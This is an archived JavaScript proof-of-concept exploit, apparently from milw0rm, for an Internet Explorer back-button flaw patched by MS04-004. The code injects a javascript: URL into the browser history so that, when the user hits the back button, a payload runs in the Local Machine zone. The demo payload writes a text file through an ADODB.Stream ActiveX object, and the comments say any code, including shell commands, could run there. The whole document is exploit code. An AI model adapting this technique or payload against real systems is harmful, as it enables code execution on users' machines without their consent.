// Andreas Sandblad, 2004-02-03, patched by MS04-004
// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}
// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}
// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}
// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();
# milw0rm.com [2004-02-04]
